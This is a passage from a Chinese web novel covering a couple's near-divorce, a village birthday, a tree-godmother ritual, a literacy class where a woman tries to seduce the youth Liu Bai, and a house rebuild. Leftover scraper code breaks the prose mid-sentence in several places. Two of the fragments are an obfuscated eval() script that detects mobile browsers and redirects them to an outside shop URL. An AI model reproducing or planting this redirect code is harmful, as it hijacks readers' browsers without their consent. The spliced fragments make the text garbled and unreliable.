而经此事后,祝安也终于,同意离婚了。 这不是一直想要的结果吗? 怎么心就刺痛刺痛的难受呢? 有一种爱叫放手,放她高飞,放她奔向更好的人。 这是徐康荣所认为对她的好。 去民政局的路上,徐康荣看着她难过的眉眼,无数次在心底问自己,后悔吗?要挽留吗?将她托付给别人真的放心吗?她要开心啊!脱离苦海该庆祝才是! 思绪万千。 突然,前面一个孩子直冲冲地撞过来,祝安为躲避摔了一跤,跌坐在地上捂着肚子痛得冒冷汗,徐康荣想杀人的心都有了。 当他诊断出祝安怀孕时,错愕、惊喜、无措、忧虑…… 徐康荣的内心五味杂陈。 孩子要留下吗? 祝安的眼神中装满了渴望,显然她对这个孩子是期待的。 将母子俩交给别人照顾真的放心吗? 他们的孩子耶,像她还是像他呢?眼前彷佛有个白白糯糯的孩子在招手着。 他舍得不要他们吗? 徐康荣的心再次摇摆起来。 舍不得。 他是舍不得的。 他一直不敢窥探自己的内心。 可是这一刻,他必须做出选择。 “请给我一个改过自新的机会,以后我会好好照顾你们母子的。” 徐康荣想重头来过,这一次,他一定会拿命去保护去拼搏去养活他们。 婚没有离成。 他下意识松了口气。 只是,破镜难重圆。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那个对他温柔体贴、总爱弯眼笑的祝安不见了,她变得冷漠、抗拒。 而这一切的始作俑者,是他。 徐康荣清楚地知道,当幸福来临时,是自己先紧闭心门,是自己身上先长出刺刺痛对方。 他有点无所适从。 但他很快调整心态,开始学着她以前的样子,去包容她、爱护她、珍惜她。 家人们都骂他活该,自讨苦吃。 徐康荣也觉得该骂。 可是祝安不会骂他,被她冷冷地看着,徐康荣感觉心要碎掉了。 * 再一次看到徐康荣哄着祝安多吃点东西时,徐知画很不给面子地笑起来,踢了踢旁边的刘白,说:“你知道这叫什么吗?” 刘白脑袋从作业本抬起,睁着一双懵懂的大眼睛,摇摇头。 “这叫风水轮流做,你以后要是喜欢一个女生,可别别别扭扭的,喜欢就是喜欢,别打着为你好的旗号,将心爱之人拱手让人,不然就是这追妻火葬场的下场。”徐知画大声说道。 刘白没听懂,又低下头写作业了。 祝安在调侃中红了脸,却并不认为现在徐康荣对她好是因为喜欢,不过是看在孩子的份上罢了。 “我知道错了。”徐康荣看着祝安,抓起她的手,可怜巴巴地说,“龟妹说得对,我应该正视自己的感情,之前是我昏了脑袋,你骂我打我出气,不要不理我。” 没想到他还有这副矫揉造作面孔,虽然他是个好哥,但徐知画现在是站在祝安的阵营,这一朝翻身当主人了,也要好好使唤他才是。 “康荣哥,你给我嫂子捏捏肩捶捶背啊,先前你都没这样做过吧?”徐知画提醒道。 徐康荣作势要上手,却见祝安猛地站起来走了,那背影怎么看都有点落荒而逃的意味。 祝安的确很不习惯徐康荣这一波接一波的攻势,每每看到他示好时,心中总有一个念头跳出来提醒—— 这些好不是给祝安的,是给他孩子的,不要自作多情。 然后就没那么开心了。 日子就在猜忌着真心中,悄悄流逝着。 这天,蔡淑芬拿下挂在墙上的日历,指着一个日期说:“龟妹的生日很快到了,到时想吃什么,妈做给你吃。” 徐知画回忆了一下,的确是快到,不过是和现代的她同一个日期吗?之前陈彩霞可不会给她过生日。 “什么时候?” “农历十一月初五。”蔡淑芬心疼道,“之前是不是都没过过生日,这次你来点菜,想吃什么就吃什么。” 是同一个日期,怎么会那么巧? 徐知画在心里疑惑着。 “想吃好多好多东西。” 徐知画一样一样点着菜单,说了半天还没停,最后还说徐家荣看不过眼,说:“你是牛肚子吗?撑不死你。” “哼!要你管!”徐知画将下巴抬起,冷哼道。 “龟妹啊,不是妈不想给你做,实在是有些菜名我都没听过。”蔡淑芬脸上的笑有点难以维持下去。 “我随口说说的,你看着来吧。”徐知画也没想着为难人,有就有,没有也行,这时代是美食荒漠,她已经很习惯了。 “有个特别想吃的,就是妈做的米花糖,这个可以吗?”徐知画问。 “没问题,这个管你吃到够。”蔡淑芬说。 39. [锁] [此章节已锁] 1975年12月7日,农历十一月初五,星期日,气温骤降,寒意从四面八方袭来,哪怕身上穿着棉袄,也很难抵御那种冷入骨髓的湿冷阴寒。 没有空调暖气的冬天真是太可怕了,强烈的尿意袭来,试探着伸出的手就被冻了个哆嗦,徐知画立马又缩了回去。 这种天气,她是恨不得一天二十四小时裹在被窝里。 然而,门外传来踢踢踏踏的声音,不一会儿,蔡淑芬来到房间拽了拽被子,中气十足道:“龟妹,快起床,今天是你生日,不要赖床。” “难得我生日,能不能赖下床?”徐知画嘟囔着,将被子裹紧了些。 “那你就赖个五分钟,可不能再晚了。”蔡淑芬看着她娇憨的模样,心一软,说完风风火火地忙去了。 徐知画躺在床上扭来动去,怎么都不舒服,憋无可憋,她一鼓作气跳起来,一件一件衣服往身上套,不讲究地将自己裹成了一个球。 “冷!好冷啊!”徐知画走出门外,一阵寒风吹得她打了个冷颤。 家人们都在院子忙活着——拔鸡毛、刮鱼鳞、洗菜、揉面团…… 见到她,都满脸笑容地打趣寿星赖床之类的话。 看着他们为自己的生日忙活着,徐知画心里暖暖的。 刘白听他们说“生日”“过生日”之类的话,未明其意,但大家见喜气洋洋,想到又可以大吃一顿,欢欢喜喜地劈着柴、挑着水、扫着地…… 徐知画刷完牙洗完脸,见蔡淑芬拿来两个红鸡蛋在她的身上滚,模样虔诚地在做什么仪式般,嘴里念念着:“滚蛋滚蛋,霉运滚蛋;滚蛋滚蛋,福运滚滚来;团团圆圆,红红火火,无病无灾,顺顺利利……” “嘭!” 鸡蛋突然在额头猛地一敲,裂开了。 蔡淑芬惊喜道:“磕开红蛋,脑袋开窍,聪明又伶俐。” 徐知画捂着发痛的额头一脸懵。 ??? 随后蔡淑芬边剥壳边说:“蛋壳一剥,脱胎换骨,焕发新生。” “来,吃吧。” 这一番操作下来,徐知画是想说什么,却又不知道说些什么,一手一个鸡蛋吃得麻麻香。 见大家都忙活着,徐知画也不好意思闲着。 想上手去做些什么,却都被推开,还是蔡淑芬安排她坐在灶台前添柴加火。 这看着再简单不过。 在徐知画的“努力”下,灶坑里的柴越堆越多,燃得旺旺的火却越来越小,直至熄灭,浓浓的烟冒出来,呛得人眼泪鼻涕直流。 “你去外面玩吧。”蔡淑芬见此,要撵人走了。 无所事事的徐知画这看看,那瞧瞧,狗岁看不过眼,招呼道:“姑姑,来和我一起拔鸡毛。” 徐知画看着已经嗝屁脖子有个血窟窿的鸡,连连摆手,离得远远的。 见祝安洗衣服回来,于是一起去晾。 …… 全家人齐心协力,很快,饭桌上摆满了热气腾腾的食物。 蔡淑芬刚想叫徐家荣夹点饭菜到碗里,端去给那瘫痪在老屋的他爷,就见老不死领着三个讨厌鬼过来了。 “哟,今儿是什么日子,怎么弄那么多好吃的?我们来得真是巧了。”老不死眼冒精光,脸上的笑容怎么看都透着一股奸味。 “今天是龟妹的生日,我不想和你吵。”蔡淑芬快速分了一些饭菜出来,将碗递过去,说,“这是孝敬你二老的,可别说又饿着你们。” “奶奶,我要吃大鸡腿。”狗菜扯着老不死的大腿喊。 【一个赔钱货,竟还要过生日,这大鸡腿就该我大孙子吃。】 老不死在心里盘算着,欲打亲情牌,说:“淑芬啊……” “谁的儿子想吃大鸡腿,谁弄去。”蔡淑芬一脸警惕地打断了她的话。 “你打发乞丐呢。”李小芳看着碗里的饭菜,还想再多要些。 “不要就算了。”蔡淑芬正欲将拿着碗的手缩回去,老不死倏地抢过去。 “谁说不要!不过这么一点,塞牙缝都不够,你爷最近胃口好,多少都能吃得下。”老不死驾轻就熟扯着这个理由要求多多,“还有,这些天愈发冷了,你爷冻得整宿整宿睡不着,再多给点煤炭。” “作为子孙,该给的,我们不会少给,但你要多的,没有。”蔡淑芬脸色铁青,满是鄙夷地看着徐天盛,说,“你自己的老母老婆孩子,自己养,别总惦记着别人的鸡腿大不大、番薯甜不甜。” “跟你说不通!”徐天盛有点挂不住脸,怒瞪了一眼蔡淑芬,随之看着徐天瑞说,“我们好歹是兄弟,作为哥哥,帮扶一下弟弟怎么了?” “当初你可没当他是哥哥。”蔡淑芬撸起袖子,准备开干,“你们走不走?不要给脸不要脸!” “做人可不能没良心……” 眼见老不死在这大喜的日子就要嚎哭起来,蔡淑芬走过去一把捂住她的嘴拖着往外走。 狗菜趁机冲到饭桌前,想抓起大鸡腿吃,刘白眼疾手快将他拎起来,对这时不时上门打秋风的一家子实在是厌恶。 食物分给他们,进自己肚子的可不就少了。 “欸欸欸,你放开我儿子。”李小芳急起来,扑过去捶打着他。 刘白反手一甩,表情凶狠:“你们再吵吵,我摔死他!” 见他将狗菜举得高高的,徐天盛差点吓破胆,连忙说道:“不要!不要!我们不吵!我们这就走!” “我要吃大鸡腿!”狗菜还不死心挣扎着。 刘白一个眼神杀过去,徐天盛和李小芳赶紧拽起狗菜跑了。 蔡淑芬也战胜斗士般王者归来。 “来,让我们祝龟妹生日快乐!身体健康!平安顺遂!万事如意!梦想成真!”蔡淑芬为这几个祝福词,可是专门请教别人一番。 大家举起一碗鸡汤干了,齐声说道:“祝龟妹生日快乐!身体健康!平安顺遂!万事如意!梦想成真!” 刘白:…… 不懂,囫囵跟着念着,焦急着怎么还不开动,说来说去,怎么那么多话要说? 终于,大家坐下来,徐知画面前是一碗长寿面,而其他人则是白米饭。 开动啦! 白切鸡、红烧鱼、茄子炒肉末、芋头扣肉、莲子百合羹、苹果香蕉、米花糖…… 好多好吃的。 大家吃得肚饱饱,心满意足。 饭后,收拾完残羹冷炙,一个接着一个拿出准备好的礼物—— 爸妈送了一个银镯子、二哥送自制的玉容散、二嫂送一套新衣服、三 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 哥送画纸和笔、四哥送汤婆子、狗岁送一对大红纱质蓬蓬发绳。 刘白:…… 没人告知刘白要送礼物,他临时临急从屋里拿出珍藏的五颗糖果给她。 徐知画:“谢谢大家!遇见你们,我真的很开心!” 感动得想哭! 没有蛋糕、没有party、没有硬着头皮应对的社交、没有上千百万的豪华礼物,只是简简单单一家人吃顿饭和充满心意的礼物,徐知画却觉得这是有史以来过得最开心的一次生日。 * 正午时分,蔡淑芬收拾着一些东西说要带徐知画去拜拜干妈。 从家出发,走过黄泥路,淌过溪流,接着沿着弯弯曲曲的山路走啊走,最后两人在一棵樟树前停下。 这棵樟树真高真大啊,枝干粗壮、树冠宽阔、枝叶繁茂,旺盛的生命力和能量扑面而来,站在树下,你会不自觉感慨人类的渺小。 “这棵树就是你的干妈,这些年也多亏她保佑,你才能平安长大。”蔡淑芬边说边清扫着地上的枝叶。 徐知画:…… 世界之大,真是无奇不有,还能认树当干妈?她算是见过这世面了。 摆上供品,点燃红烛。 蔡淑芬让徐知画拿出之前藏在胸口的一张红纸,铺展开,用几颗钉子钉在树干上以防掉落。 随后徐知画焚香绕树三圈祷告—— 【认樟为娘,佑女永宁,长命富贵,婚姻美满,事业有成,幸福安乐。】 两侧还写了姓甚名谁、生辰八字。 插下焚香,燃放鞭炮,敬上酒水,烧黄表纸,叩拜为敬,至此礼成。 一套接着一套流程,本来不信鬼神的她,此时在祷告中感受到了殷殷舔犊情,拳拳慈母心,好似真的被一股无形的力量包裹着,向下扎根,向上生长,勇敢且坚韧。 有那么一刻,徐知画怀疑自己的灵魂是不是被蔡淑芬召唤来到这具身体的。 实在是有点可疑。 难道这世上,真的有鬼神? 徐知画心中的无神论摇摇欲坠。 仪式结束,两人开始往回走,蔡淑芬絮絮叨叨着说以后四时八节都要去拜一拜干妈求保佑,徐知画有一搭没一搭地附和着。 * 知道蔡淑芬迷信,但徐知画真不知道她这么迷信—— 时间很快来到了农历十一月十五,蔡淑芬端着半碗凝固的血,说让她喝了对身体有好处。 徐知画抗拒着,不想喝,奇怪道:“哪里来的血?” 蔡淑芬含混其词:“神婆说你每逢初一、十五喝一次,保证能健健康康活到九十九岁。妈试过了,喝了对身体好,大补,快喝。” 说着将碗塞到徐知画的嘴巴旁,浓郁的咸腥味让她忍不住泛起胃酸。 徐知画推开碗,捂住嘴:“我不要。” “不要浪费了。”蔡淑芬惋还想再劝说几句。 “要喝你喝,我不喝!”徐知画手一拍,碗没拿稳哐当掉地。 看着和泥混在一起的血,蔡淑芬很是惋惜,灵机一动,想着下次或许可以混在食物里让她喝,这样应该就不会察觉到了。 蔡淑芬暗暗为自己的机灵点了一个赞。 “行吧,不喝就不喝。”她说。 40. [锁] [此章节已锁] 【冬天来了,春天还会远吗?】 天气又寒又冷,病怏怏的身体三天两头出故障,徐知画以这句话为信念度过了一天又一天。 在干点什么就精神不振、体弱无力、气短胸闷时,每次对比刘白气血充足、健康无比、干劲满满的样子,徐知画那叫一个羡慕。 可也只能干羡慕,然后加强锻炼身体。 好在现在是农闲时候,活不多,家人们也能有时间在家里做做手工,歇一歇。 而根据上级指示精神,光荣大队扫盲班正式成立,在大队长的牵头下,社员们每天在吃过晚饭后,统一到小学参加学习活动。 刚开始男女老少都热情高涨前来学习,但是随着时间的推移,一些记忆力不好的中老年人好比是熊瞎子掰玉米,今日学明日忘,严重打击到积极性,就不愿来了。 还有一些思想老顽固,觉得男人女人挤在一个小小的教室里,是干柴遇烈火,容易出事,也不准家人去。 更有不愿动脑思考的,世世代代都干惯了体力活,想着土里刨食,靠天吃饭,学认字没用,有那时间,还不如好好睡一觉养好精神。 …… 总而言之,扫盲工作前期开展工作并不顺利。 不过,以年轻社员为主,还是凑齐了一个班。 扫盲教材主要由课文、生字、课后练习几部分组成,内容五花八门,有认日历、认钟表、买菜、算账、坐车等日常常用词汇,而徐知画所教授的拼音学习法更是得到了大家的认可。 看着在讲台上口若悬河、侃侃而谈的徐知画,徐宝珍惋惜着她上次怎么就没死成了? 看来只能下次再寻找时机了,动手的话要一击即死,不能抱侥幸心理。 扫盲班还是有好处的,徐宝珍喜欢上扫盲班。 就像现在,刘白坐在旁边,她装作不经意靠近一点,再靠近一点点。 刘白被挤得挪一下屁股,再挪一下屁股。 “刘白,请问这个字怎么读?”赶在他发火之前,徐宝珍一脸无辜,认真发问。 想起徐知画曾说:“要学会知识共享,同学们之间要互帮互助,取长补短,才能取得更大的进步。” 刘白忍着不耐烦,告诉了她答案。 “你真聪明,一学就会。”徐宝珍适时夸奖道。 好话谁都爱听,刘白嘴角忍不住弯了弯。 不一会儿,徐宝珍故技重施,这次刘白提醒道:“有不懂的,课下再提问,上课要专心。” 见他坐得端端正正、一副认真听讲的模样,徐宝珍知道心急吃不了热豆腐,难得他对自己态度好了些,也不再搞小动作。 自此,徐宝珍打着请教问题的旗号,一来二去,和刘白的关系拉近了一点点。 像这样以扫盲识字为借口,却抱着和心仪之人亲近一二之心的人有不少。 这天,因事耽搁,刘白来到教室时,只剩后排几个座位,悄悄溜进去坐下没多久,耳边突然传来“嗯~~~。 很是奇怪不成调的低吟声。 刘白抬头望过去,哪怕煤油灯的光线不甚明亮,但他隔着走道,还是可以清楚地看到最后排靠墙坐的一对男女在摸着彼此的隐私部位。 他们在干什么? 女人间或似有若无的低吟混杂在朗朗读书声中,并没有引起其他人的注意。 他们面上倒是一本正经地盯着黑板看,只是嘴角荡漾,透露出愉悦的心情。 可徐知画说过:“这两处是隐私部位,别人不能看也不能摸。你摸别人的,别人会打你;别人摸你的,你也可以打别人。” 那他们为何摸对方的隐私部位,却没有打起来? 刘白压下心底的疑惑,想着课下问问徐知画。 但这不过是不关己事的一桩小事,刘白一下课就置之脑后了。 直到有天,给徐宝珍讲完题后,发现教室的人已经走光了,刘白正欲离开。 “刘白,我们来玩个好玩的游戏怎么样?” 徐宝珍笑得很奇怪,倏地俯身,凑近他的耳朵,温热的气息喷洒在脖子上,冷不丁鸡皮疙瘩齐齐冒,紧接着一股香过头的馥郁气味一下子占据鼻腔,闻着让人恶心想吐。 “我不想和你玩游戏。”刘白直白地拒绝。 难得抓住这个机会,徐宝珍哪那么容易让他离开,挡住去路,眼波流转,红唇微微嘟起,嗲声嗲气似娇似羞,魅惑道:“玩嘛,包是你没玩过的游戏。” 老鹰抓小鸡?警察抓小偷?跳山羊?翻花绳?跳皮筋? …… 思及,一个接着一个游戏在脑海中浮现,好多游戏他都玩腻了。 “什么游戏?”刘白被勾起了几分好奇。 “先问你个问题,我给你当老婆要不要?”徐宝珍故意压了压声音,手放在盘扣上解起来,“给你生崽崽。” 一件连衣裙自上而下脱落,露出她被胸衣挤压的浑圆、芊芊腰肢和修长双腿。 “你看我胸大臀翘,一看就好生养,到时给你生十个八个崽崽都不是问题。”徐宝珍展示着自己的好身材,由纯又欲半咬着唇。 只要刘白有一点点主动,说明他有被撩拨动心,没见过世面的纯情男生,略施小手段,很容易就会让他沦陷在温柔乡里,欲罢不能。 这是徐宝珍上辈子所取得的经验。 刘白的确有想和伴侣生十个八个崽崽的想法,但对上徐宝珍白花花的身体,他并没有产生什么旖旎的情欲。 他想的是若面前这个人落进狼群,这具身体就是美味的食物,一头狼咬头,两头狼咬手,两头狼咬腿,还有几头狼肯定会争先恐后着开膛剖腹,胸大臀翘最是可口,吃得连骨头都不剩。 可惜,他现在是个人,吃人犯法。 “我不想和你生崽崽。”刘白一脸嫌弃道,“你隐私部位露出来了,羞羞脸!” “啊?”徐宝珍神色僵了两秒,他这纯情小白竟然对这具身体无动于衷,不应该啊,可能没尝过女人味,不知道其滋味,要放大招才行。 “我喜欢你,只给你看,不给别人看,我知羞的。” 徐宝珍又靠近了些,想用胸去蹭他的脑袋,刘白忍无可忍,一脚把她踢飞了。 “你好难闻。”刘白说完拔腿就跑。 回到家,徐知画正在灯下给画上着色,听到声响,问道:“今晚学了什么?” “学了数字和数量单位。”刘白说着在旁边坐下,自己倒了杯水喝。 “哦,记得及时复习。”徐知画叮嘱了一句,埋头沉浸在画作中。 “知道。” 刘白的视线不自觉扫过徐知画的胸前,平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13857104|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平坦坦的,疑惑着怎么人这里有大有小,又想起之前在教室看到过那做出奇怪动作的男女。 好奇宝宝问道:“为什么我们这里扁扁的?” 徐知画见他一手指着她的胸,一手指着自己的胸,是同款没有起伏的飞机场。 她老脸一红,眼里迸射出火花,带有几分恼羞成怒的成分说:“你关注哪里不好,关注这里!扁就扁!又没碍着吃饭,你管那么多干嘛!” “你为什么生气?”刘白更加疑惑了,接着问,“上次你说,不能摸隐私部位,可是我在教室见到有男女在摸来摸去,很开心的样子,他们为什么要这样做?” 徐知画:??? 是谁在神圣的教室做出这等龌龊事?! “是谁?”徐知画问。 “我不知道他们叫什么名字。”刘白如实回答。 “可能他们在谈对象,如果是对象的话,可以摸,但是不能在大庭广众下摸,不然影响不好。”徐知画强调道,“你现在还小,要把心思放在学习上,不要想着谈对象,影响前途。” 在现代,她见过太多为爱情迷失自我疯癫的人了,不得不提前给他打预防针。 “什么叫谈对象?”刘白又问。 在徐知画看来是通俗的词,对刘白来说却是第一次听。 “就是一男一女好,结婚成老公老婆,例如我爸妈,我哥嫂。”徐知画说。 刘白再问:“那我和你是在谈对象吗?” 徐知画当即否认:“当然不是!我们是互相利用关系,只能算是朋友。” “以后你就明白了。”徐知画也不知道该怎么解释,一刀子从源头切断,“反正现在要是有谁说想和你谈对象,你拒绝就是。” 知道他大道理听得可能不太明白,恐吓道:“你知道流氓犯吗?就是未经过别人允许,就去摸别人隐私部位,这要被发现,是要被拉出去游街打靶的。” 徐知画举起右手,食指和中指并拢成抢,一枪击中额角死掉,做此动作以示警告。 “那徐宝珍说要给我当老婆生在崽崽,是不是流氓犯?”刘白思考着。 徐知画惊讶得像头顶炸了个响雷,皱眉道:“徐宝珍什么时候打你注意了?她不是喜欢陈豫周来着?” “你怎么想的?你喜欢她吗?”徐知画一眨不眨地盯着他的反应。 “我不喜欢她。”刘白摇摇头,说,“我一脚把她踢飞了。” “噗嗤——” 徐知画想象那个场景,笑了起来:“做得好,下次她再这样说,你继续踢飞她。” 看着刘白日益养得白嫩的脸和挺拔的身材,徐宝珍会移情别恋也不奇怪,毕竟他之前就颇受女孩子的喜欢和追捧,以后对他有好感的只多不少。 好在徐知画自小就就被徐钰燕灌输不能早恋的各种箴言,现在教育刘白关于这方面的知识也是绰绰有余,把男人换成女人就行。 例如—— “说话越好听的女人,心肠越毒。” “她跟你不过是玩玩,你要是认真就惨了。” “早恋是毒,一碰心就碎,万万碰不得。” “……” 听得多了,刘白似早恋如洪水猛兽,对异性更是没有好脸色,避而远之。 教育成效显著,徐知画很是满意。 41. [锁] [此章节已锁] 时间似水,哗啦啦流走。 将近年关,年味愈来愈浓烈,而徐知画因出色的画技,附近不少人请她画全家福和□□等,虽然收不了几个钱,但家里的年货有着落了,而且人际关系也拓展了不少。 而且在程阳的帮助下,画稿被出版社采纳,徐知画赚了点小钱。 除夕夜团圆饭后,一家人围坐在一起说着来年展望美好希冀,轮到徐知画时,她拿出一叠钱,豪气道:“我想要建房子!” 之前知道她画画有钱,但是当看到那厚厚一沓钱时,家人们还是吃了一大惊。 “我想把房子推了,重建,建个漂亮的、住得舒服一点的,如果这些钱不够的话,我再想办法去赚。”徐知画仿佛看到新房间、新厕所、新厨房在向自己招手了,就充满了干劲。 “龟妹……你……”蔡淑芬眼睛突然红起来。 “怎么了?”徐知画不解。 “都怪我们做爸妈的没本事,要你来操心房子的事。”蔡淑芬拭了拭泪,心中又是感动又是愧疚,“也没有给你一个好的身体,这些钱你要画多少张画才能赚回来。” “没事,你们对我的好我知道,我有能力,那当然也要让你们过上好日子啦!”徐知画理所当然地说。 “耶~~~有新房子住喽!姑姑太厉害了!”狗岁欢呼起来。 “爸,妈,你们年后选个黄道吉日,看什么时候动工。”徐知画说。 “真要建房子啊?”徐天瑞抬头看了看这屋子,虽然破破烂烂、雨天漏水、冬天漏风,但补补还能再住个几十年。 “我可没有开玩笑。”徐知画认真地说。 “建!这破房子我也是住够了!”蔡淑芬铿锵有力道。 “我支持。” “我也支持。” “……” 家人们纷纷举手赞同。 重建房子一事就这么敲定了。 过年过年,合家团圆。 这个年,是徐家人最开心的一年。 刘白也觉得好开心,这几日的生活美好得像是一场美梦,早上睁眼就期待着今天要干什么。 杀年猪、大扫除、贴对联、贴窗花、放鞭炮、穿新衣服、买零嘴…… 要是天天过年就好了。 然而不管怎么不舍,年还是过去了。 1976年二月十二,正月十三,宜动土。 根据徐知画给的设计图,在日夜赶工下,地基渐渐有了雏形。 看着刘白只要管饭,一人顶两人用,又是搬砖又是抬木,一刻不停歇,比生产队的牛还能干,徐知画心头难得升起几分愧疚。 “刘白,歇一歇,来喝水。”徐知画倒了一碗水走过去,见他手脏兮兮的,顺势喂到嘴里。 “辛苦了啊。”她干巴巴地笑了笑,继而激励道,“今晚叫妈给你加餐,吃大鸡腿。” 刘白眼眸亮了亮:“给我吃大鸡腿?” 徐知画肯定道:“对,好好干,我的大鸡腿也给你吃。” 有这句话,刘白把剩下的砖搬完不是问题。 看到这一幕,在不远处挖土的肥花婶跟蔡淑芬挤眉弄眼,开玩笑道:“龟妹跟刘白感情还挺好,你真没让他当女婿的想法?” 蔡淑芬瞥了一眼,摇头道:“龟妹当他是家里人照顾,不是那男女之情,你可别多想。” “我看刘白被调教得挺好的,干活全大队哪个比得上他,力气真大,长得又不孬,听说现在还识字会算?”肥花婶说着都有点为他牵媒的心动了。 “他就一个大老粗,力气再大,将来还不是地里刨食一辈子,我到时想龟妹嫁去城里。”蔡淑芬说。 “也是,龟妹长得好,又能赚钱,是该嫁个城里人。”肥花婶顺着她的心意接话,又说道,“我有个外甥女跟他差不多大,你看能不能让两人认识认识。” “他无父无母帮衬……”蔡淑芬欲言又止,可不想到时要是小两口有什么问题,失去肥花婶这个好友。 “他的情况到时我会跟我妹说清楚,我看中的是他这个人,老实能干,总能混口饭吃。”肥花婶知道她的顾虑,说,“不管成不成,都不会影响我们的交情。” “行,我回头问问龟妹行不行,毕竟刘白一直是她在管。”蔡淑芬来了劲,“跟我说说你那外甥女的情况。” “好。”肥花婶缓缓道来,“她叫梁盼梓,今年16岁,是家中老大,有两个妹妹、两个弟弟……” “……” 而当徐知画听说要给刘白介绍对象相看时,直接反对道:“他还小,还要好好学习呢,谈婚论嫁尚早,以后这些你都拒了吧。” “闺女,再考虑考虑呗。”蔡淑芬不死心,“也不是说相看完立马就结婚,还要时间相处相处看合不合适。” “不用考虑,不合适。”徐知画坚定地否定。 “你老实跟妈说,是不是对他有意思?”蔡淑芬担忧地问。 “没有!我对他一点儿意思都没有!妈你不用再怀疑这个。”徐知画无奈道,“你要给他介绍也行,等他差不多二十六七岁再说吧。” 到时他思想成熟,学有所成的话,谈恋爱应该不影响做学术吧。 徐知画想着。 “二十六七岁啊?也只有卖剩蔗的份了。”蔡淑芬一想到他还要呆在这个家那么久,心里就揪着揪着。 闺女不愿放手,且走一步看一步吧。 …… 日子一天天过去,让蔡淑芬没想到的是,刘白在婚恋市场行情是越来越吃香了。 小姑娘们看中他俊俏,丈母娘看中他能干,想着要是能招婿到家,那日子肯定过得美咧。 连城里的知青徐宝珍都在刘白后面追着跑,多次想让蔡淑芬帮忙牵线。 哪怕蔡淑芬再怎么不待见刘白,但也不得不承认他是个过日子的好对象,眼里有活,这次建房子他可是主力军。 别人不知道,他们一家时不时能吃上荤腥,多亏刘白上山狩猎;还有他的血能救龟妹,说句不吉利的,万一以后又发生什么,刘白给别人当女婿了,还愿意献血吗?而且他对龟妹言听计从,要换个人,还能那么听话吗? 特别是随着1977年高考恢复的喜讯传来,那些插队的有志青年像黑夜里重见火光,奋战备考,大队有几个嫁娶本地人的知青,考上大学后,没有到一个两个竟有抛妻弃子/抛夫弃女的打算。 城里人如此薄凉,听说兄弟姐妹多的,住的筒子楼又窄又小,翻身都不方便,还不如乡下活得舒适。 到时婆媳一起住,乱成一锅粥,不妥不妥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13865439|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>思来想去,看来看去,刘白的确是个绝佳的赘婿人选。 正所谓肥水不流外人田。 蔡淑芬打定主意后,开始暗戳戳往贤夫良父的方向培养刘白。 有空没空就给他灌输男德思想—— 天大地大,老婆最大,听老婆的话会发达。 做人老公,就是要上得了厅堂,下得了厨房,拿得了铁锤,也拿得了绣花针。 男人除了要赚钱养家,还要主持家务样样行。 男人照顾孩子天经地义,撒手掌柜要不得。 老婆漂亮,老公有面,爱人如养花,老婆要娇养。 男人顶天立地,要做家人的避风港。 …… 蔡淑芬是这么说的,也是要求刘白这么做的。 徐知画不知道蔡淑芬的打算,不过看两人相处和睦,暗道感情还怪好,并没有放在心上。 直到有天,看到刘白熟练地在厨房颠锅炒菜,徐知画目瞪口呆,惊讶道:“你什么时候学会这个技能了?” “我把做菜的手艺都传给他了。”蔡淑芬自豪道。 “我也要学。”徐知画当即举手,就不信自己做菜会比他差。 “你不用学,想吃什么,跟他点菜就是。”蔡淑芬转头道,“刘白,你说是吧?” 刘白点点头:“为家人做菜是男人本分,你离厨房远点,不要被油烟熏到了。” 徐知画看向蔡淑芬,一脸被噎到的表情:“妈,这话也是你教的?” 蔡淑芬嘿嘿笑,很满意刘白的顺从,挺了挺腰:“当然,男人要做菜,家财又万贯,你别管了,等着吃就行。” “我喜欢做菜。”刘白很享受亲手把食物变成佳肴的过程,警惕道,“你别和我抢菜来做。” 正说着,篮子里的一条鱼突然跃起,徐知画吓了一跳,刚刚升起说要学做菜的豪言壮志一下子熄了火。 “我不跟你抢,你要做菜就做吧。” 说完,徐知画赶紧逃离这个危险地带。 随后她又看到刘白和祝安学织布、绣花纳鞋垫、缝补衣物,也是一副饶有兴趣的样子,徐知画想着在没有影响到学业的前提下,且随他去。 不过刘白最上心、投入最大激情的,是和徐康荣辨药学医,现在他的潜意识认为,只要学得好,疑难杂症、救死扶伤不是问题。 由此,他经常上山捕获猎物后,拿回家先打得半死,然后再尝试救回来,实在救不回来的话,晚餐就有着落了。 当有一次,按照徐康荣说的步骤,治好了一只口吐白沫奄奄一息的猫,刘白激动得上蹿下跳,那得意的模样好似他就是下一个华佗。 和刘白的欢喜雀跃不同,徐知画看着那张考得稀巴烂的物理试卷,愁肠百结,这是最基础的物理题了,他怎么就是教不会! 刚开始徐知画还以为是自己课讲得不好,后来发现知青点有个教物理的高校老师,三顾茅庐,请来当刘白一对一的辅导老师。 但刘白对那些加速度、电阻、电磁力、能量守恒定律等,还是不感兴趣,左耳进右耳出,一点儿没记在脑袋里。 说他脑子不好使吧,可人家记中药、记配方倒是溜得很。 徐知画很崩溃。 他曾经可是物理奇才,怎么现在…… 42. 病秧子X狼少年 “啊!!!好痛啊!!!” 